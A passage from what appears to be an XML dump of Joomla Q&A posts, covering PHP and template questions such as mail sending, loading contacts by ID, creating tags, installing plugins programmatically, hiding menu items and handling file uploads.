$db-&amp;gt;setQuery($hiker_query);&#xA;        if (!$hiker = $db-&amp;gt;loadAssoc()) {&#xA;            echo &quot;Failed to find hiker&quot;;&#xA;        } else {&#xA;            $mailer = JFactory::getMailer();&#xA;            $user = JFactory::getUser();&#xA;            $sender_email = $user-&amp;gt;email;&#xA;            $mailer-&amp;gt;setSender($sender_email);&#xA;&#xA;            $mailer-&amp;gt;addRecipient('admin@mysite.com');&#xA;            $mailer-&amp;gt;setSubject('Message from ' . $hiker['link_name']);&#xA;            $mailer-&amp;gt;setBody('This is message with ' . $peak . ' from ' . $hiker['link_name'] . '. Please visit link: https://MySite/' . $hiker['alias'] . ' Sender email:' . $sender_email . ' Sender ID:' . $link_id);&#xA;            /*&#xA;             * Not sure how to prepare the file attachment portion...&#xA;             * $mailer-&amp;gt;addAttachment();&#xA;             */&#xA;            $send = $mailer-&amp;gt;Send();&#xA;            if ($send === true) {&#xA;                echo 'Mail sent';&#xA;            } else {&#xA;                echo 'Error sending email';&#xA;            }&#xA;        }&#xA;    } catch (Exception $e) {&#xA;        echo &quot;Syntax Error @ hiker table&quot;; //  , $e-&amp;gt;getMessage();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-07-25T02:48:22.300" CommentCount="0" CommunityOwnedDate="2018-07-25T02:48:22.300" ContentLicense="CC BY-SA 4.0" />
  <row Id="23212" PostTypeId="2" ParentId="21991" CreationDate="2018-07-25T10:34:33.890" Score="0" Body="&lt;p&gt;tabs inside tabs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li class=&quot;active&quot;&amp;gt;&amp;lt;a href=&quot;#tab1&quot; data-toggle=&quot;tab&quot;&amp;gt;Section 1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab2&quot; data-toggle=&quot;tab&quot;&amp;gt;Section 2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;tab-content&quot;&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;tab-pane active&quot; id=&quot;tab1&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;Text 1.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;tab-pane&quot; id=&quot;tab2&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;Text 2.&amp;lt;/p&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;li class=&quot;active&quot;&amp;gt;&amp;lt;a href=&quot;#tab3&quot; data-toggle=&quot;tab&quot;&amp;gt;Section 3&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab4&quot; data-toggle=&quot;tab&quot;&amp;gt;Section 4&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;tab-content&quot;&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;tab-pane active&quot; id=&quot;tab3&quot;&amp;gt;&#xA;                    &amp;lt;p&amp;gt;Text 3.&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;tab-pane&quot; id=&quot;tab4&quot;&amp;gt;&#xA;                    &amp;lt;p&amp;gt;Text 4.&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12741" LastEditorUserId="168" LastEditDate="2018-07-25T13:46:33.253" LastActivityDate="2018-07-25T13:46:33.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23214" PostTypeId="1" AcceptedAnswerId="23215" CreationDate="2018-07-25T14:56:42.417" Score="1" ViewCount="893" Body="&lt;p&gt;I need to get a com_contacts item the same way Joomla does (so I can re-use a template for example). I know I can get the item by querying the database directly, but that won't prepare things the same way Joomla das in com_content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get contacts by &lt;em&gt;category&lt;/em&gt; id fine with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_SITE . '/components/com_contact/helpers/route.php';&#xA;JLoader::import('joomla.application.component.model');&#xA;JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_contact/models', 'ContentModel');&#xA;$categoryModel = JModelLegacy::getInstance('Category', 'ContactModel', array('ignore_request' =&amp;gt; true));&#xA;$categoryModel-&amp;gt;setState('category.id', 53);&#xA;$categoryModel-&amp;gt;setState('list.ordering', 'a.name');&#xA;$categoryModel-&amp;gt;setState('list.direction', 'asc');&#xA;$categoryModel-&amp;gt;setState('filter.published', 1);&#xA;$contacts = $categoryModel-&amp;gt;getItems();&#xA;echo '&amp;lt;pre&amp;gt;&amp;lt;tt&amp;gt;';print_r($contacts[0]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would I get a contact item by it's item id?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA!&lt;/p&gt;&#xA;" OwnerUserId="12744" LastActivityDate="2018-07-25T15:45:51.417" Title="Get com_contacts item by id?" Tags="|joomla-3.x|development|custom-module|com-contacts|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23215" PostTypeId="2" ParentId="23214" CreationDate="2018-07-25T15:45:51.417" Score="1" Body="&lt;p&gt;To get single contact by ID, use Contact model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_contact/models', 'ContactModel');&#xA;$model = JModelLegacy::getInstance('Contact', 'ContactModel', array('ignore_request' =&amp;gt; true));&#xA;$model-&amp;gt;setState('contact.id', $contactId);&#xA;$model-&amp;gt;setState('params', $params);&#xA;$contact = $model-&amp;gt;getItem();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;$contactId&lt;/code&gt; is the contact's ID and &lt;code&gt;$params&lt;/code&gt; is the params. Params must be a Registry object. You can create a new Registry object or use app/component params, depending on your needs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Registry\Registry;&#xA;$params = new Registry;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$params = JFactory::getApplication()-&amp;gt;getParams();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Component\ComponentHelper;&#xA;$params = ComponentHelper::getParams('com_contact');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-07-25T15:45:51.417" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23216" PostTypeId="1" AcceptedAnswerId="23218" CreationDate="2018-07-25T16:10:38.177" Score="1" ViewCount="65" Body="&lt;p&gt;In a component, if I want to add an user field to the form, I can easily use a field of type &lt;code&gt;user&lt;/code&gt;, and play with it as I want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what can I do if I need a field that stores an array of users?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is, in the backend, to be able to add one or more objects of type &lt;code&gt;user&lt;/code&gt; to that field &lt;em&gt;(let's call it, for example, &lt;code&gt;collaborators&lt;/code&gt;)&lt;/em&gt;, and in the frontend to be able to manipulate and show the list of users selected for that field &lt;em&gt;(in the collaborators example, it could be something like &lt;strong&gt;Collaborators:&lt;/strong&gt; Sophia Smith, Emma Williams, Oliver Lee.)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; same question extended to an array of objects of type contact, url, etc...&lt;/p&gt;&#xA;" OwnerUserId="9355" LastActivityDate="2018-07-25T17:08:27.663" Title="List of users in form" Tags="|component|form-fields-types|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23217" PostTypeId="1" CreationDate="2018-07-25T16:58:02.230" Score="2" ViewCount="290" Body="&lt;p&gt;I'm looking to create tags programmatically. I've done it through a direct DB &lt;code&gt;insert&lt;/code&gt; but that doesn't seem to be working correctly as I can't associated those created tags with a piece of content via the observer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content = JTable::getInstance(&quot;Content&quot;, 'JTable', array());&#xA;$content-&amp;gt;load($id);&#xA;JHelperTags::addTags(array(&quot;tag1&quot;, &quot;tag2&quot;), $content);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Helper.TagsHelper.html#method_tagItem&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;JHelperTags&lt;/code&gt;&lt;/a&gt; has a method that may do what I want, but I don't understand the arguments. The following does not work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$h = new JHelperTags();&#xA;$h-&amp;gt;tagItem($content-&amp;gt;id, $content, array(&quot;tag1&quot;, &quot;tag2&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I programmatically create tags that will be correctly stored in Joomla?&lt;/p&gt;&#xA;" OwnerUserId="12720" LastActivityDate="2018-07-25T17:27:14.577" Title="Create tags by name programmatically" Tags="|tags|joomla3.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23218" PostTypeId="2" ParentId="23216" CreationDate="2018-07-25T17:08:27.663" Score="2" Body="&lt;p&gt;&lt;code&gt;User&lt;/code&gt; type field doesn't support &lt;code&gt;multiple&lt;/code&gt; attribute. I can think of 3 options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a custom field type with &lt;code&gt;multiple&lt;/code&gt; support. You can use &lt;code&gt;Author&lt;/code&gt; field as example. Just change the query to be a simple select from &lt;code&gt;#__users&lt;/code&gt; table &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/e6d61160eff61d749328e86c01c98fc5239a198a/libraries/src/Form/Field/AuthorField.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/e6d61160eff61d749328e86c01c98fc5239a198a/libraries/src/Form/Field/AuthorField.php&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use SQL field. See documentation here &lt;a href=&quot;https://docs.joomla.org/SQL_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/SQL_form_field_type&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;code&gt;Subform&lt;/code&gt; field type and include &lt;code&gt;User&lt;/code&gt; type field in it. &lt;a href=&quot;https://docs.joomla.org/Subform_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Subform_form_field_type&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-07-25T17:08:27.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23219" PostTypeId="2" ParentId="23217" CreationDate="2018-07-25T17:27:14.577" Score="2" Body="&lt;p&gt;I was able to use &lt;a href=&quot;https://www.phoca.cz/joomla/api/class-JHelperTags.html#_createTagsFromField&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;createTagsFromField&lt;/code&gt;&lt;/a&gt;. &lt;code&gt;#new#&lt;/code&gt; has to be appended to the title if the tag doesn't exist.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$title = &quot;Tag Title&quot;;&#xA;$h = new JHelperTags;&#xA;$h-&amp;gt;createTagsFromField(array(&quot;#new#$title&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12720" LastActivityDate="2018-07-25T17:27:14.577" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23220" PostTypeId="1" AcceptedAnswerId="23221" CreationDate="2018-07-25T21:55:57.807" Score="2" ViewCount="257" Body="&lt;p&gt;How could you do programmatically what Joomla does when you install a plugin? Let's say, for simplicity's sake, that you have a plugin package file local with your Joomla instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A solution might look like one of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;a) You make a POST request to a Joomla endpoint with the package file that installs the plugin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;b) You write a shell script that both installs the package file's contents in the correct folder, and writes the required data to the db (more brittle this way).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12720" LastEditorUserId="168" LastEditDate="2018-07-25T22:18:23.360" LastActivityDate="2018-07-27T08:46:07.967" Title="How can I programmatically install a plugin?" Tags="|plugin|joomla3.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23221" PostTypeId="2" ParentId="23220" CreationDate="2018-07-26T10:56:30.710" Score="3" Body="&lt;p&gt;Use Install model.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!defined('_JEXEC'))&#xA;{&#xA;    define('_JEXEC', 1);&#xA;    define('JPATH_BASE', realpath(__DIR__));&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;    require_once JPATH_BASE . '/includes/framework.php';&#xA;}&#xA;&#xA;JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_installer/models', 'InstallerModel');&#xA;$input = JFactory::getApplication('site')-&amp;gt;input;&#xA;$input-&amp;gt;set('installtype', 'folder');&#xA;$input-&amp;gt;set('install_directory', $path);&#xA;$model = JModelLegacy::getInstance('Install', 'InstallerModel', array('ignore_request' =&amp;gt; true));&#xA;$model-&amp;gt;install();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;$path&lt;/code&gt; is path to extension installation files.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-07-27T08:46:07.967" LastActivityDate="2018-07-27T08:46:07.967" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23223" PostTypeId="1" AcceptedAnswerId="23224" CreationDate="2018-07-26T19:01:44.830" Score="0" ViewCount="45" Body="&lt;p&gt;The Joomla! MVC development docs for writing an intall script gives an &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;example com_helloWorldInstallerScript&lt;/a&gt;. That class has an &lt;code&gt;install()&lt;/code&gt; method, with this example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$parent-&amp;gt;getParent()-&amp;gt;setRedirectURL('index.php?option=com_helloworld');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is the &lt;code&gt;getParent()&lt;/code&gt; method coming from? Can anyone point me to documentation for it? The docblock in the example installer class says &quot;This class will be called by Joomla!'s installer&quot;, but the &lt;code&gt;getParent()&lt;/code&gt; method is not on &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Installer.Installer.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Installer&lt;/a&gt;, &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JAdapter.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;JAdapter&lt;/a&gt; (extended by Installer), or &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Object.CMSObject.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;CMSObject&lt;/a&gt; (not sure if docs are out-of-date, as JAdapter says it extends JObject, or if that dependency is removed).&lt;/p&gt;&#xA;" OwnerUserId="12558" LastActivityDate="2018-07-27T06:42:46.793" Title="Where is `getParent()` method on `$parent` in installer class coming from?" Tags="|joomla-api|jinstaller|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23224" PostTypeId="2" ParentId="23223" CreationDate="2018-07-27T06:42:46.793" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JAdapterInstance.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;JAdapterInstance&lt;/a&gt;. In 4.0 it's moved to InstallerAdapter.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-07-27T06:42:46.793" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23226" PostTypeId="1" AcceptedAnswerId="23228" CreationDate="2018-07-27T17:12:37.583" Score="4" ViewCount="151" Body="&lt;p&gt;I´m new to Joomla and started on my own template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this code to get articles:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output multiple  tags on the same page... This is, as far as I know, bad for google SEO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the normal behavior of Joomla or what should I change to avoid having multiple H1´s?&lt;/p&gt;&#xA;" OwnerUserId="12743" LastEditorUserId="12743" LastEditDate="2018-07-27T17:50:06.343" LastActivityDate="2018-07-27T18:51:16.167" Title="Custom template creates multiple H1 tags on same page" Tags="|joomla-3.x|templates|seo|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="23227" PostTypeId="2" ParentId="19459" CreationDate="2018-07-27T17:19:30.920" Score="2" Body="&lt;p&gt;I saw it in the code but not outside of framework (in any of the extensions). I believe it gonna be used on a bigger scale in Joomla! 4. The main benefit from that is testability but there are others too. If you are not familiar with the concept you can see the explanation and some examples here: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/joomla-framework/di&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla-framework/di&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/joomla-framework/di/blob/master/docs/why-dependency-injection.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla-framework/di/blob/master/docs/why-dependency-injection.md&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2018-07-27T17:19:30.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23228" PostTypeId="2" ParentId="23226" CreationDate="2018-07-27T18:51:16.167" Score="4" Body="&lt;p&gt;The issue of multiple &lt;strong&gt;H1&lt;/strong&gt; tags was introduced because the page I was viewing was showing featured articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution was to make an override of &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/components/com_content/views/featured/tmpl/default.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;com_contents featured file&lt;/a&gt; by changing h1 to h2 in the file script&lt;/p&gt;&#xA;" OwnerUserId="12743" LastActivityDate="2018-07-27T18:51:16.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23229" PostTypeId="1" AcceptedAnswerId="23231" CreationDate="2018-07-27T20:07:27.903" Score="2" ViewCount="309" Body="&lt;p&gt;I have a menu Item, and I added a custom css class so I could modify it like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vhzsz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vhzsz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Firefox's F12 developer tool, when I look up testphpmenuclass I find it just fine here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4vMdD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4vMdD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I create a Custom Module (on every tutorial, other people use &quot;Custom HTML module&quot; but I can't find this mysterious module that everyone else has access to but me.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4P8Cm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4P8Cm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I add code for adding css &lt;a href=&quot;https://www.regularlabs.com/extensions/sourcerer/faqs#how-to-add-css-to-the-head-of-the-html-page&quot; rel=&quot;nofollow noreferrer&quot;&gt;I found directly from the Sourcerer FAQ website&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&amp;lt;?php &#xA;   $css = &quot;&#xA;      .testphpmenuclass {&#xA;         display: none !important;&#xA;      }&#xA;   &quot;; &#xA;   $doc-&amp;gt;addStyleDeclaration( $css ); &#xA;?&amp;gt;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I save the module, and go to my index page, and add the module like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/m3gw7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m3gw7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I visit my website, and the menu item is still there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6HFld.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6HFld.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before you tell me maybe the addon doesn't work, I tested a printf function in the php section, and the printf function works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KYkwN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KYkwN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is the code: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WuY6q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WuY6q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So trying all this, what other method can I do to hide a menu item?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My hopes is to do this conditionally (if user visits at a certain time of the day, show, otherwise hide it, etc)&lt;/p&gt;&#xA;" OwnerUserId="12752" LastEditorUserId="12752" LastEditDate="2018-07-27T20:21:21.513" LastActivityDate="2018-08-01T15:30:05.070" Title="Hiding a Menu item with PHP in Sourcer in Joomla 3.8.1" Tags="|joomla-3.x|menu-item|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23230" PostTypeId="2" ParentId="23229" CreationDate="2018-07-27T20:24:34.660" Score="0" Body="&lt;p&gt;Assuming this is your full code, &lt;code&gt;$doc&lt;/code&gt; is undefined. Add this before using it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, this is a very weird way of adding CSS. You could do this in the template instead.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-07-27T20:24:34.660" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23231" PostTypeId="2" ParentId="23229" CreationDate="2018-07-27T21:18:22.770" Score="3" Body="&lt;p&gt;It looks like you have a typo in your CSS. Your code section at the beginning is fine, but the screenshot at the end of your post is showing incorrect use of the &lt;code&gt;!important&lt;/code&gt; rule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The semi colon should be placed &lt;em&gt;after&lt;/em&gt; &lt;code&gt;!important&lt;/code&gt;, not before:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;display: none!important;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition, make sure the CSS rule is actually applied (use the code inspector by right-clicking your menu item and select &quot;Inspect&quot; or similar from the dropdown menu).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if it still doesn't work, you could try using jQuery to hide the menu item. Place the following code inside your &lt;code&gt;&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;    $('.testphpmenuclass').hide();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code will add an inline style &lt;code&gt;&amp;lt;li style=&quot;display: none;&quot;&amp;gt;&lt;/code&gt; which should override any other CSS settings.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2018-07-27T21:18:22.770" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23232" PostTypeId="1" CreationDate="2018-07-28T07:31:28.170" Score="1" ViewCount="635" Body="&lt;p&gt;In my custom component/admin, in the item edit template I am trying to let the user upload a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the file is not being passed in my save function. There is not even in the array as key.&#xA;If I remove the &lt;strong&gt;enctype=&quot;multipart/form-data&quot;&lt;/strong&gt; from the form (which is wrong because no file will be passed) then the field comes with the filename as string.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[docfile] =&amp;gt; my_file_to_upload.docx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but with the &lt;strong&gt;enctype=&quot;multipart/form-data&quot;&lt;/strong&gt; then, the result is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2018-07-28T07:10:12+00:00       DEBUG 127.0.0.1 save_override_function_in_model Data $data : Array&#xA;(&#xA;    [id] =&amp;gt; 2&#xA;    [title] =&amp;gt; test&#xA;    [alias] =&amp;gt; test-test&#xA;    [catid] =&amp;gt; 0&#xA;    [client_id] =&amp;gt; 240&#xA;    [published] =&amp;gt; 0&#xA;    [created] =&amp;gt; 2018-07-20 06:07:43&#xA;    [tags] =&amp;gt; &#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the form in the tmpl/edit.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_comtest&amp;amp;layout=edit&amp;amp;id=' . (int) $this-&amp;gt;item-&amp;gt;id); ?&amp;gt;&quot; method=&quot;post&quot;&#xA;      id=&quot;adminForm&quot; enctype=&quot;multipart/form-data&quot; class=&quot;form-validate&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;form-horizontal&quot;&amp;gt;&#xA;    &amp;lt;fieldset class=&quot;adminform&quot;&amp;gt;&#xA;      &amp;lt;?php echo JHtml::_('bootstrap.startPane', 'myTab', array('active' =&amp;gt; 'details')); ?&amp;gt;&#xA;      &amp;lt;?php&#xA;      echo JHtml::_('bootstrap.addPanel', 'myTab', 'details', empty($this-&amp;gt;item-&amp;gt;id) ?&#xA;                      JText::_('COM_COMTEST_NEW_CONTRACT', true) :&#xA;                      JText::sprintf('COM_COMTEST_EDIT_CONTRACT', $this-&amp;gt;item-&amp;gt;id, true));&#xA;      ?&amp;gt;&#xA;      &amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;        &amp;lt;?php echo JLayoutHelper::render('joomla.edit.title_alias', $this); ?&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;          &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('catid'); ?&amp;gt;&#xA;          &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('client_id'); ?&amp;gt;&#xA;          &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('published'); ?&amp;gt;&#xA;          &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('created'); 